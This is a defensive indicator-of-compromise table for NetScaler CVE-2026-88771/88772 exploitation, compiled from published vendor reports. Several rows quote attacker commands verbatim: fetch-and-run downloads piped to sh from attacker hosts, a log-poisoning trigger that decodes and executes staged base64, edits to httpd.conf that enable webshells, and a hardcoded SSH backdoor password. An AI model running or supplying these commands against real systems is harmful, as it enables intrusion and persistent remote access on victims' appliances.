Public Citrix NetScaler IoCs (PitScaler)

This table only contains indicators that have been published openly. The Sharing column shows each source's own marking. [106][111][69][70]

Indicators are not proof of compromise by themselves. Validate any hit against appliance logs, filesystem integrity, process history and configuration changes, following your incident-response procedure.

How to read these. Each indicator was observed by the source named in its row. None of them is a universal indicator for every victim. Beaumont reports that webshell names and attacker IPs are unique per victim. [120][124] An empty search result proves nothing.

Download all IoCs as CSV Firewall blocklist (188 IPs, annotated) Plain IP list Domain blocklist (pylrk.cc wildcard, annotated) Plain domain list

The blocklist contains only the IPv4 indicators whose own source data does not warn against blocking. It excludes Cloudflare WARP egress, shared commercial VPN exits, residential/ISP (CGNAT) addresses and a domain-parking IP — those are in the CSV with their caveats. IPs differ per victim; a blocklist is defence in depth, not a substitute for patching and compromise checks.

Publicly released indicators for NetScaler CVE-2026-88771 and CVE-2026-88772 exploitation
TypeExact valueSourceContextCaveatSharing
File path/nsconfig/.slap/Rapid7 [86]Main framework directory of the intrusion Rapid7 investigated (19 Oct, updated 22 Oct)First-hand IR observation, vendor-published. A missing directory does not rule out earlier execution or cleanup.Public vendor blog
File path/nsconfig/.relay/Rapid7 [86]Relay implant directory (Rapid7)First-hand IR observation. A missing directory does not rule out earlier execution or cleanup.Public vendor blog
File path/nsconfig/.slap/vcRapid7 [86]Reconnaissance scanner binary - a stripped, statically linked FreeBSD Go tool that maps routes, DNS, LDAP/AD, management services and VMware vCenter from the compromised appliance (Rapid7)First-hand IR observation; presence of the file is a compromise signal regardless of name.Public vendor blog
File path/nsconfig/.slap/vcscan-agent.shRapid7 [86]Reconnaissance scanner launcher (Rapid7): downloads and validates the scanner as scanner-freebsd-amd64, installs it as vc, runs broad RFC1918 scanning then management-focused scanning of DNS/LDAP-derived ranges, collects results into vcpersist-<token> files and uploads themFirst-hand IR observation. Its result files (vcpersist-<token>_dns_candidates.tsv, _dns_ldap_verified.tsv, _vcenter_verified_all.txt) mean internal discovery ran from the appliance.Public vendor blog
File path/nsconfig/.slap/agent.plRapid7 [86]; Google GTIG / Mandiant [70]Perl TCP session manager and pivot agent (Rapid7): loopback listener on an ephemeral port recorded in /tmp/.uxdport, coordination via /tmp/.uxdlock, open/push/pull/exch/close operations accepting arbitrary destinations - turning the appliance into an internal TCP pivotFirst-hand IR observation; the open/push/pull vocabulary matches the publicly reported SLAPSHOT tooling.Public vendor blog
File path/nsconfig/.slap/bridge.plRapid7 [86]Perl bridge script of the .slap framework (Rapid7)First-hand IR observation. A missing file does not rule out earlier execution.Public vendor blog
File path/nsconfig/.slap/boot.shRapid7 [86]Boot persistence script of the .slap framework (Rapid7)First-hand IR observation. Check /nsconfig/rc.netscaler and crontabs for references to it.Public vendor blog
File path/nsconfig/.slap/reverse-agent.shRapid7 [86]Outbound reverse command execution agent (Rapid7): polls an external command endpoint every 15 seconds, executes received commands with /bin/sh -c and returns output via HTTP PUT - command execution without any inbound connection to the applianceFirst-hand IR observation. Hunt appliance-initiated periodic HTTP egress.Public vendor blog
File path/nsconfig/.relay/run.shRapid7 [86]Relay runner script (Rapid7)First-hand IR observation. A missing file does not rule out earlier execution.Public vendor blog
File path/nsconfig/.relay/target_agent.pyRapid7 [86]Python relay agent script (Rapid7)First-hand IR observation. A missing file does not rule out earlier execution.Public vendor blog
File path/flash/.nsvm/nsvmdRapid7 [86]FreeBSD Go proxy agent binary (Rapid7): installed from v5v.in via a 2.sh/r.sh branch, run as nsvmd -server v5v.in:443 -sni c.v5v.in, marked immutable with chflags uchgFirst-hand IR observation; a missing file does not rule out earlier execution. /flash survives upgrades.Public vendor blog
File path/flash/.nsvm/watchdog.shRapid7 [86]45-second watchdog script for nsvmd (Rapid7)First-hand IR observation. A frequent-execution watchdog is also visible as process churn.Public vendor blog
File path/flash/.nsvm/guard.shRapid7 [86]Cron persistence guard script (Rapid7, 5-minute cron)First-hand IR observation. Check the root crontab for its schedule line.Public vendor blog
File path/flash/.nsvm/restart.shRapid7 [86]Daily restart script for the nsvmd branch (Rapid7)First-hand IR observation. Check the root crontab for its schedule line.Public vendor blog
File path/flash/.nsvm/nsvmd.tmpRapid7 [86]Temporary nsvmd binary path (Rapid7)First-hand IR observation; transient by design, so absence proves nothing.Public vendor blog
File path/flash/.nsvm/.stopRapid7 [86]Uninstall/upgrade control marker of the nsvmd branch (Rapid7)First-hand IR observation; the operator uses it to stop the agent cleanly, so its presence alone is not proof of compromise.Public vendor blog
File path/flash/.nsvm/.agent.log and /flash/.nsvm/.wd.logRapid7 [86]Agent and watchdog log files of the nsvmd branch (Rapid7)First-hand IR observation. If present, preserve before any restart - they show what the agent executed.Public vendor blog
File path/var/tmp/.s2loot/Rapid7 [86]; Poppelgaard [75]Loot staging directory (Rapid7). Already known from the SAML-attack kit per the Poppelgaard checker v1.10 - now vendor-confirmed from a real compromiseNow multi-source: community analysis plus first-hand Rapid7 IR. A hit means data was staged: preserve and inspect securely.Public vendor blog
File path/var/tmp/.ux/slapshot.py and /var/tmp/.ux/whipd.pyRapid7 [86]; Poppelgaard [75]; Google GTIG / Mandiant [70]Python HTTP tunnel/session manager and front-end components (Rapid7): accept base64 commands in an HTTP header and return tunnel responses in HTTP 404 bodies - behaviour overlapping the publicly reported WHIPSHOT/SLAPSHOT toolingNow multi-source: community analysis (checker v1.10, ports 9909/9910) plus first-hand Rapid7 IR.Public vendor blog
File path/tmp/.uxdlockRapid7 [86]; Google GTIG / Mandiant [70]Process coordination lock file of the Perl session manager (Rapid7); also listed by GTIG as a SLAPSHOT artefactNow multi-source: GTIG plus first-hand Rapid7 IR.Public vendor blog
File path/tmp/.uxdportRapid7 [86]; Google GTIG / Mandiant [70]Ephemeral loopback port recording file of the Perl session manager (Rapid7); also listed by GTIG as a SLAPSHOT artefactNow multi-source: GTIG plus first-hand Rapid7 IR. Both files together are a strong pivot signal.Public vendor blog
File path/var/netscaler/logon/LogonPoint/custom/.slap.receiver, .ctxs.receiver and receiver.debRapid7 [86]; GreyNoise blog [106]The three cookie-authenticated PHP webshell copies installed into the LogonPoint custom web directory (Rapid7): commands supplied through a second cookie, results returned in HTTP 404 response bodies so successful command requests resemble missing resourcesFirst-hand IR observation. Apache config was modified to execute .deb as PHP, enable PHP, and map /logon/LogonPoint/custom/receiver.v2.min.<hex>.css to .slap.receiver. Any *.receiver file in LogonPoint is a compromise signal.Public vendor blog
File path/nsconfig/.slap/.slap.receiver, .ctxs.receiver and receiver.debRapid7 [86]; Poppelgaard [75]Backup webshell copies held in the framework directory (Rapid7) - removing the LogonPoint copies does not clear the pair while these remainFirst-hand IR observation. Hunt both locations plus the /etc/httpd.conf.slap.bak-style config backup the checker documents.Public vendor blog
File namevcpersist-<token>_dns_candidates.tsv, vcpersist-<token>_dns_ldap_verified.tsv, vcpersist-<token>_vcenter_verified_all.txtRapid7 [86]Reconnaissance result files of the vc scanner launcher (Rapid7): route, DNS, LDAP/AD and vCenter mapping of the internal network from the compromised appliance, compressed and uploaded to the operator infrastructureIR-derived filenames; the token varies per run. Their presence means internal discovery ran from the appliance.Public vendor blog
Log stringsync HA files all / force HA failoverRapid7 [86]; Binary Defense ARC Labs [79]HA-manipulation commands embedded in the .slap framework (Rapid7): the implant synchronises its files to the HA peer and forces failover so the node holding the implant becomes active - patching or failing over one node does not evict it from the pairFirst-hand IR observation. Corroborates Binary Defense's HA-sync analysis: both nodes of a pair are evidence sources.Public vendor blog
IPv4192.159.99.139Rapid7 [86].slap C2, relay, reverse-agent and loot-upload infrastructure per Rapid7's incident analysisVendor IR observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting.Public vendor blog
IPv4209.74.64.192Rapid7 [86]C2 used by the nsvmd FreeBSD proxy agent (Rapid7; agent run as nsvmd -server v5v.in:443 -sni c.v5v.in)Vendor IR observation; correlate what your appliance connected to before attributing.Public vendor blog
Domainv5v.inRapid7 [86]; Poppelgaard [75]C2 domain of the nsvmd FreeBSD Go proxy (Rapid7): the installer fetched https://v5v.in/r.sh?k=<token>|sh and the agent beacons to v5v.in:443 with SNI c.v5v.in. Already on this page from the 8 Oct overnight wave (checker v1.16, community report) - Rapid7's IR now ties the same domain to a confirmed compromiseMulti-source: a single community report is now corroborated by first-hand IR. Keep it blocked; hunt *.v5v.in in DNS logs rather than the apex alone.Public vendor blog
IPv4179.60.146.241Rapid7 [86]IP serving 1.sh (Rapid7 stage infrastructure)Vendor IR observation; attacker IPs can be unique to one victim.Public vendor blog
IPv445.92.1.17Rapid7 [86]Stage/loot infrastructure on port 30444 (Rapid7)Vendor IR observation; a hunting lead, not proof of targeting.Public vendor blog
IPv462.133.62.80Rapid7 [86]; eSentire TRU blog [99]Payload delivery per Rapid7's network indicators - already on this page as the eSentire Cluster B Platypus stager host (curl -k http://62.133.62.80:80/xd7h/x). A second vendor observing it strengthens the pictureMulti-source (eSentire IR, Rapid7 IR). Keep it blocked.Public vendor blog
IPv446.151.182.18Rapid7 [86]Payload delivery (Rapid7 network indicators)Vendor IR observation; attacker IPs can be unique to one victim.Public vendor blog
IPv4132.243.166.140Rapid7 [86]Payload delivery (Rapid7 network indicators)Vendor IR observation; a hunting lead, not proof of targeting.Public vendor blog
SHA-2566774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44Rapid7 [86]1.sh - the later .slap dropper of the Rapid7 incident; added reverse-agent functionality, relay installation, HA recovery, stage tracking and structured upload logging relative to the earlier 17447d.shVendor IR hash from one investigated appliance; operator rebuilds change hashes - match on behaviour too.Public vendor blog
SHA-256a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556Rapid7 [86]17447d.sh - the earlier .slap dropper version (Rapid7)Vendor IR hash; the later 1.sh superseded it during the incident, showing an operationally maturing framework.Public vendor blog
SHA-25656a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186Rapid7 [86]2.sh / r.sh - the nsvmd installer branch fetched from v5v.in (Rapid7)Vendor IR hash; match on the fetch URL and the /flash/.nsvm paths as well.Public vendor blog
SHA-2568e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4dRapid7 [86]scanner-freebsd-amd64 - the Go reconnaissance scanner downloaded by vcscan-agent.sh and installed as /nsconfig/.slap/vc (Rapid7): interface/route parsing, subnet expansion, DNS discovery and zone-transfer hunting, LDAP anonymous bind and RootDSE, management-service checks, TLS inspection and vCenter classificationVendor IR hash of a stripped static FreeBSD Go binary.Public vendor blog
SHA-256eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cddeRapid7 [86]vc - the installed reconnaissance scanner binary in /nsconfig/.slap/ (Rapid7)Vendor IR hash; presence of the file is a compromise signal regardless of name.Public vendor blog
SHA-256ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138Rapid7 [86]nsvmd - the FreeBSD Go proxy agent binary installed under /flash/.nsvm/ (Rapid7)Vendor IR hash; a missing file does not rule out earlier execution.Public vendor blog
IPv4173.255.247.97Rubrik Zero Labs [87]Hosted ora23.sh at port 8001 and served as a rogue Redis replication endpoint for Platypus staging per Rubrik Zero Labs (15 Oct) - Oracle-to-Windows/AD and Redis/Asterisk deployment attempts reusing entretiensol[.]com infrastructure; NOT confirmed NetScaler initial accessRelated-infrastructure bucket: Rubrik explicitly found no evidence these attacks exploited the NetScaler CVE. Hunt it as Platypus infrastructure, not as proof of a NetScaler entry point.Public blog (subset; full IoC feed is RZL-customer-only)
SHA-256b360bed30f50108a59598015cbdd57df5a1fb8fe78bceddc8bae7a2c3388539eRubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct): rogue Redis replication staging the Linux ARM Platypus agent as /tmp/system-health, triggered via a modified Asterisk dialplan and a crafted SIP INVITERelated-infrastructure bucket: not NetScaler exploit artefacts. Rubrik publishes the full IoC feed only to RZL customers.Public blog (subset)
SHA-2562c84da0d342a895fcdfc3f8163810021e4197a3b40a7d77be074deea813ecb59Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-2564d30bd0c1e14bcdddf4ec36f4e4df7a8145538b621f4387b09e14561f048c3a1Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-25687458597fb83e148b2694ace1c8d539036d2be8a785a9bbd3f81801b4b3065c1Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-2561776c57791e267d9f9f6c2227494b9d870c6b346339b2edd7b82063f1c229452Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-256f6df95310bf7a0885521e5add92dd37377267613561ed9d8ecc970f898cd9af0Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-25677c6eb03eef7a293f2250adefe0f125d6c63b045f5caa777689afedc77292488Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-25691239c1c8475c47dce78d3a32460713de02beb48a66fa71ba0f4155bdd9f5b15Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-256b8f1fb6dec51eddf6bac46a4703d55c15a6e6f764c0b89ecf4857428c7a1cd7bRubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-256433429605f9eec575e4cfffd6a3c1d579b9f061ed3943fabb3429a97424365fdRubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-256ac55ab8f8356a572ca9511f5e6740ea701fccb048086e7bbbcb1383a34534923Rubrik Zero Labs [87]Redis/Asterisk attack script (Rubrik Zero Labs, 15 Oct) - the last of the eleven Redis/Asterisk hashes (twelve published in total including ora23.sh)Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
SHA-256cfc566841ccbd54340b2a1520b2c37d8a494bd8d4964e13738382e8887f0c986Rubrik Zero Labs [87]ora23.sh - the Oracle attack script (Rubrik Zero Labs, 15 Oct): SQL*Plus with hardcoded credentials over TCP 31522, UTL_FILE staging of rt23o.ps1, an RTA23W SYSTEM scheduled task and SMB/WinRM lateral movement to a domain controllerRubrik published 12 script hashes in total (one Oracle, eleven Redis/Asterisk - b360bed3..., 2c84da0d..., 4d30bd0c..., 87458597..., 1776c577..., f6df9531..., 77c6eb03..., 91239c1c..., b8f1fb6d..., 433429605f9eec575e4cfffd6a3c1d579b9f061ed3943fabb3429a97424365fd, ac55ab8f...). Related-infrastructure bucket: not NetScaler exploit artefacts.Public blog (subset)
File nameRTA23W (scheduled task), rt23o.ps1, rt23s.bat, rt17w.bat, system-health.exe, health-monitor.exe, /tmp/system-health, rte_go.sh, /root/ovx_agent_armRubrik Zero Labs [87]; Binary Defense ARC Labs [79]Platypus deployment artefacts across the Rubrik-reported Oracle and Redis/Asterisk workflows: the Windows side masquerades as system-health utilities, the VoIP gateway side stages /tmp/system-health via rogue Redis replication and triggers it through a modified Asterisk dialplan and crafted SIP INVITE to extension 889Masquerade names overlap legitimate tooling and Binary Defense's Platypwned masquerade identities ("System Health Monitor", healthd) - check whether the file is an ELF/.NET binary before treating a name hit as compromise. Related-infrastructure bucket, not NetScaler-specific.Public blog (subset)
Log patternUser-Agent INDEX:<base64> on GETs to /logon/LogonPoint/tmindex.html, /logon/LogonPoint/index.html, /vpn/index.html, /logon/tmindex.htmlZscaler ThreatLabz [83]; CERT-EU [56]; Poppelgaard [75]Stage-1 log staging per Zscaler ThreatLabz (16 Oct): the request is never executed - the base64 payload is only parked in the HTTP access log when the request is logged. A later trigger greps the logs for the INDEX: marker, decodes it and pipes it to sh. The captured sample staged a six-directory webshell/fingerprint drop (Nx_<n>.html/.php/.pl) plus php_engine and AddHandler cgi-script .pl enablement in /etc/httpd.confAn INDEX: User-Agent alone means staging; execution evidence is the shell audit log showing the grep-and-run line. Same technique family as the tagged-User-Agent log reflection Lupovis documented (checker v1.15). CERT-EU separately flagged base64 User-Agent strings starting with INDEX: as early as 28 Sep.Public blog, no TLP marking
HTTP request patternPOST /nf/auth/doAuthentication.do or /cgi/login with forged "pitboss PPE missed too many heartbeats" or "pitboss PPE unexpectedly died" text plus appended grep INDEX: /var/log/htt* | sed ... | b64decode -r | shZscaler ThreatLabz [83]; CERT-EU [56]; Unit 42 (Palo Alto Networks) [153]Stage-2 trigger per Zscaler ThreatLabz (16 Oct): the forged Packet Processing Engine failure record is written to /var/log/ns.log, and when ns_monuploadd_err.pl later processes it, the appended command searches the HTTP access logs for the INDEX: marker, base64-decodes it and executes it. Several variants use ${IFS} instead of literal spaces. ThreatLabz notes the script selects the last matching record (per CERT-EU), which is why attackers re-send the trigger repeatedlyZscaler telemetry observation; consistent with CERT-EU and Unit 42. A forged pitboss line in ns.log shows the attempt reached the logging path, not that the command ran.Public blog, no TLP marking
File nameNx_<number>.html / .php / .pl in /var/vpn/bookmark/, /netscaler/ns_gui/vpn/, /var/netscaler/gui/vpn/, /var/netscaler/logon/LogonPoint/, /var/vpn/theme/, /var/netscaler/gui/admin_ui/apex/ (captured example: Nx_7508.*)Zscaler ThreatLabz [83]Zscaler ThreatLabz (16 Oct): the staged INDEX: payload writes .html fingerprint files (Nx-zD|id|uname -a|hostname|nsrelease-or-ns.conf output), one-line PHP shells calling shell_exec on $_GET[0], and Perl CGI scripts that run a 0= query parameter through backticks, then chmod 755. The number after Nx_ varies per payloadZscaler capture; the numeric suffix and directory set will vary between operators. Any Nx_-prefixed .php/.pl in those directories is a compromise signal regardless of the number. A missing file does not rule out earlier execution.Public blog, no TLP marking
Config directivesed -i 's/php_engine off/php_engine on/g' /etc/httpd.conf; echo 'AddHandler cgi-script .pl' >> /etc/httpd.conf; kill -HUP $(cat /var/run/httpd.pid)Zscaler ThreatLabz [83]; watchTowr Intel [61]; eSentire TRU blog [99]Zscaler ThreatLabz (16 Oct): the staged payload enables PHP and Perl CGI execution in the appliance Apache config and reloads httpd so the dropped .php and .pl shells actually run. Inline variants perform the same php_engine flipThe same php_engine and AddHandler changes were documented by watchTowr (SetHandler/StyleMin shells) and eSentire (nsgtrust.deb). Any change to /etc/httpd.conf that enables a scripting engine is a compromise signal; compare against a clean appliance on the same build.Public blog, no TLP marking
Log stringgrep INDEX: /var/log/htt* (with sed and b64decode -r piped to sh), typically inside a pitboss PPE line using ${IFS}Zscaler ThreatLabz [83]; Poppelgaard [75]The execution trigger that pairs with INDEX: staging, per Zscaler ThreatLabz (16 Oct): ns_monuploadd_err.pl or the admautoregd path runs it when it selects the forged record; the trigger extracts the staged base64 from the HTTP access logs and executes itZscaler observation. Hunt in shell audit logs (sh.log, bash.log) and in ns.log; the checker's "did it run?" logic distinguishes attacker lines from admin greps.Public blog, no TLP marking
File path/var/kw2s11 (kw2-freebsd-x64-s11 payload)Zscaler ThreatLabz [83]Zscaler ThreatLabz (16 Oct): an inline variant downloads a Rust-based 64-bit FreeBSD binary from http://209.141.43.95/files/kw2-freebsd-x64-s11 to /var/kw2s11, chmod +x and runs it, via fetch with ${IFS} separators in the injected usernameZscaler telemetry. A missing file does not rule out execution; /var survives upgrades. Hunt the filename and the download host together.Public blog, no TLP marking
IPv4209.141.43.95Zscaler ThreatLabz [83]Payload download host per Zscaler ThreatLabz (16 Oct): served /files/kw2-freebsd-x64-s11 (Rust-based 64-bit FreeBSD implant, saved to /var/kw2s11 and executed). ThreatLabz identified the same server in activity exploiting StyleSmuggler (CVE-2026-75650) against Adobe Commerce and Magento - shared infrastructure across two platforms, an investigative lead, not attributionZscaler first-hand observation. WHOIS: PONYNET-04, FranTech Solutions (BuyVM), Cheyenne, Wyoming, US - shared hosting space also used for anonymity services; the host may serve unrelated content. Block as defence in depth; correlate what your appliance downloaded before attributing.Public blog, no TLP marking
SHA-256kw2-freebsd-x64-s11 payload hash not publishedZscaler ThreatLabz [83]Zscaler ThreatLabz (16 Oct) describe the kw2-freebsd-x64-s11 Rust-based FreeBSD implant and its download URL but do not publish a file hash in the blog; the URL and the /var/kw2s11 path are the hunting handlesPlaceholder row so readers do not expect a hash: hunt the URL, the filename and the egress connection to 209.141.43.95, not a digest.Public blog, no TLP marking
NetworkBurst pattern: >=26 source IPs sending the same forged-pitboss + FreeBSD-downloader sequence within 6-7 minutesZscaler ThreatLabz [83]Zscaler ThreatLabz (16 Oct) observed a coordinated burst where each source sent one poisoned login (pitboss PPE line) plus the kw2-freebsd-x64-s11 downloader - sprayed exploitation, not targeted workZscaler telemetry on its own sensors; the 26 IPs are not individually published. A similar tight-cluster burst in your logs is worth alerting on regardless of source list.Public blog, no TLP marking
NetworkTCP listener on port 37512watchTowr Intel [61]; watchTowr [105]The trojanized Dropbear SSH 2025.88 backdoor binary (/var/walk or /usr/bin/walk) runs as an SSH server on tcp/37512 with a hardcoded password support1 (authenticates any account) and an embedded RSA-2048 key accepted before authorized_keys. watchTowr notes it only gives external access where ns.conf explicitly exposes the port on a Gateway/SSLVPN applianceHunt with netstat -an | grep -E 'LISTEN' | grep -E '\.37512'. The binary binds the port regardless, but it is not externally reachable unless the config exposes it.Public blog and GitHub repository, no TLP marking
IPv445.153.212.101Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table): sent the staged CVE-2026-88771 exploitation chain. WHOIS: Arpinet LLC (Armenia), CGNAT poolZscaler observation on its own sensors. CGNAT address: traffic may come from any subscriber behind the pool; correlate before attributing. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv446.233.40.20Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: AM NET OOD (Bulgaria)Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting.Public blog, no TLP marking
IPv446.236.167.143Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: CJSC ER-Telecom Holding, Bryansk branch (Russia), consumer ISPZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv446.33.33.95Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: TRK BlackSea (Ukraine)Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting.Public blog, no TLP marking
IPv449.150.197.119Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Philippine Long Distance Telephone (PLDT), residential DSLZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv478.190.152.64Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Turk Telekom, dynamic ADSL poolZscaler observation. Consumer/ISP dynamic address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv481.10.79.197Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Tunisian Telecom / TOPNET space (non-RIPE-managed block)Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv495.105.74.172Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: JSC Ufanet (Russia), consumer ISPZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4100.38.125.66Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Verizon Business (US)Zscaler observation. Business/ISP address: likely a compromised host or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4102.213.132.123Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: NET99 broadband allocation (ISP space)Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4102.222.146.45Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Tandaa National Network (Kenya), source NAT poolZscaler observation. CGNAT pool: traffic may come from any subscriber; correlate before attributing. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4103.181.212.245Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: HOST ME INDIAZscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting.Public blog, no TLP marking
IPv4103.197.249.161Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: EUROtelbd Online Ltd (Bangladesh)Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4103.83.146.100Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Airmail Network (AMN)Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting.Public blog, no TLP marking
IPv4111.92.128.89Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: SkyNet Multi Services (Pakistan)Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4114.145.49.215Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: NTT DOCOMO BUSINESS / OCN (Japan)Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4120.244.160.182Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: China Mobile (CMNET)Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4125.62.88.26Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Channeltek Enterprises (India)Zscaler observation. Consumer/ISP address: likely a compromised device or CGNAT pool; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4154.183.158.198Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: TE Data (Egypt), consumer ISPZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4154.241.254.9Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: TE Data LTE-4G mobile pool (Egypt)Zscaler observation. Mobile/CGNAT address: traffic may come from any subscriber; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4174.60.63.37Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Comcast Cable Communications (US)Zscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4177.52.203.23Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). LACNIC allocation (Brazil)Zscaler observation. Consumer/ISP-class address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4183.63.88.227Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: CHINANET Guangdong province networkZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4190.117.56.56Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: America Movil Peru (movistar), consumer ISPZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv4195.62.37.119Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: LIMANET Ltd (hosting space)Zscaler observation; attacker IPs can be unique to one victim. A hunting lead, not proof of targeting.Public blog, no TLP marking
IPv4207.48.184.10Zscaler ThreatLabz [83]Zscaler ThreatLabz source IP (16 Oct IoC table). WHOIS: Brightspeed (US), consumer ISP blockZscaler observation. Consumer/ISP address: likely a compromised device or residential proxy; do not block on it. Not in this site's IPv4 edge blocklist.Public blog, no TLP marking
IPv482.167.14.7Zscaler ThreatLabz [83]; Beazley Security advisory (updated Sep 29) [93]; GreyNoise tag [109]; eSentire TRU [98]Zscaler ThreatLabz's 16 Oct IoC table lists this address - already on this page from Lupovis decoys, eSentire and GreyNoise tagging (an exploitation check that writes a test marker). A second vendor observing it strengthens the picture; the roles described are consistentMulti-source. Keep it blocked.Public blog, no TLP marking
IPv4130.12.182.7Zscaler ThreatLabz [83]; Poppelgaard [75]Zscaler ThreatLabz's 16 Oct IoC table lists this address - already on this page as the Huntback log-channel C2 (decoy telemetry, checker v1.15). The two sources describe different roles (C2 channel vs exploitation source); both make the address campaign infrastructureMulti-source. Keep it blocked; look at what the address actually did in your logs to distinguish its roles.Public blog, no TLP marking
